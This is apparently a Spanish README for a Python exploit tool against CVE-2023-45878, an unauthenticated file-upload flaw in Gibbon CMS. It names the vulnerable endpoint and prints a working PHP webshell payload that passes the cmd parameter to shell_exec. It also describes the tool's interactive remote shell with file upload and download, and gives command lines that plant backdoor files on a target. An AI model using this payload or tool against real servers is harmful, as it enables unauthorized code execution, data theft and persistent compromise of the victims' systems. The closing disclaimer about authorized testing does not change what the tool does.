
Exploit en Python para CVE-2023-45878, una carga arbitraria de archivos sin autenticación en Gibbon CMS, que permite RCE mediante la carga de una webshell y acceso a un shell interactivo.
Este script de Python explota CVE-2023-45878, una vulnerabilidad de carga arbitraria de archivos sin autenticación en Gibbon CMS versiones 25.0.1 y anteriores, que permite la Ejecución Remota de Código (RCE).
CVE-2023-45878 existe en el endpoint rubrics_visualise_saveAjax.php de Gibbon CMS. Este endpoint es vulnerable porque no requiere autenticación y permite escritura arbitraria de archivos.
La vulnerabilidad surge de lo siguiente:
modules/Rubrics/rubrics_visualise_saveAjax.php es accesible sin ninguna autenticación.img, path y gibbonPersonID.
img contenga datos con un formato especial, donde la parte después de una coma es una cadena codificada en base64.path, si se proporciona, se utiliza como nombre de archivo de destino para el archivo subido, relativo al directorio de instalación de Gibbon.img y lo escribe en un archivo especificado por el parámetro path.img malicioso que contenga código PHP codificado en base64 (por ejemplo, <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) y especificar un path que resulte en un archivo .php accesible a través del servidor web, un atacante puede subir un webshell PHP y lograr la Ejecución Remota de Código en el servidor vulnerable.Este script de Python automatiza la explotación de CVE-2023-45878. Realiza las siguientes acciones:
modules/Rubrics/rubrics_visualise_saveAjax.php para subir un webshell PHP. El payload del webshell es <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>, donde {VERIFY_TAG} es una etiqueta personalizable. El payload se codifica en base64 y se envía dentro del parámetro img.cmd=echo) y comprobando la VERIFY_TAG en la respuesta. También realiza una verificación previa de un shell existente si se utilizan opciones como --verify o --interactive.user@host:cwd$).cd para cambiar el directorio de trabajo remoto.!help: Muestra ayuda para los comandos interactivos.!upload <ruta_local> [ruta_remota]: Sube un archivo local al servidor objetivo a través del webshell.!download <ruta_remota> [ruta_local]: Descarga un archivo del servidor objetivo.!lcd <ruta>: Cambia el directorio de trabajo local actual.!ldir [ruta]: Lista archivos y directorios en el directorio de trabajo local actual o en la ruta especificada.prompt_toolkit si está disponible para una experiencia mejorada de línea de comandos (historial, mejor edición); de lo contrario, recurre al input() incorporado de Python.!upload reutiliza el endpoint vulnerable para escribir archivos arbitrarios, mientras que !download utiliza comandos del sistema ejecutados a través del webshell (como base64 o [Convert]::ToBase64String de PowerShell) para recuperar el contenido del archivo.python3 exploit.py <target_url> [options]
Argumentos:
target_url: La URL base de la instancia objetivo de Gibbon CMS. El script añadirá http:// si no se proporciona un esquema y asegurará una barra inclinada al final (por ejemplo, http://example.com/gibbon o example.com/gibbon).Opciones:
-s <ruta_del_shell>, --shell-path <ruta_del_shell>:
Especifica la ruta y el nombre de archivo deseados para el shell subido (por ejemplo, shell.php, uploads/shell.php).
Si se omite, se generará un nombre de archivo aleatorio de 8 caracteres con extensión .php en el directorio base de Gibbon.
Advertencia: Asegúrese de que la ruta especificada sea escribible por el servidor web y accesible a través de la web.-v, --verify:
Después de intentar subir el shell, verifica si está funcionando. Esta opción también activa una verificación previa para ver si ya existe un shell con el nombre y la etiqueta especificados; si es así, se omite la subida.-i, --interactive:
Entra en modo interactivo de shell. Si el shell no está presente (verificado por una comprobación previa), se subirá y verificará primero.-t <etiqueta>, --tag <etiqueta>:
Especifica una etiqueta estática personalizada utilizada en el payload del webshell para fines de verificación. (Por defecto: ExploitGibbon).--timeout <tiempo_de_espera>:
Establece el tiempo de espera de las solicitudes HTTP en segundos. (Por defecto: 20).Ejemplos:
Explotación básica con nombre de shell aleatorio en el directorio principal de Gibbon y etiqueta predeterminada:
python3 exploit.py http://target.com/gibbon/
Explotación, especifica el nombre del shell my_shell.php en el directorio principal de Gibbon y etiqueta predeterminada:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
Explotación, sube el shell con nombre backdoor.php a uploads/, verifícalo y usa una etiqueta personalizada:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
Explotación, sube el shell y entra en modo interactivo con etiqueta predeterminada y un tiempo de espera de 30 segundos:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
Entra en modo interactivo con un shell existente (el script verificará previamente su existencia):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
Solo verifica si un shell llamado existing_shell.php con la etiqueta predeterminada está activo (intentará subirlo si no se encuentra):
python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v
dataclasses, pathlib)requests: Instalar usando pip install requestsrich: Instalar usando pip install richprompt_toolkit (opcional, para modo interactivo mejorado): Instalar usando pip install prompt_toolkitEste script se proporciona únicamente con fines educativos y de pruebas de seguridad. Úselo bajo su propio riesgo y solo contra sistemas para los que tenga permiso explícito para probar. El autor no es responsable de ningún uso indebido o daño causado por este script. Explotar vulnerabilidades sin autorización es ilegal y poco ético.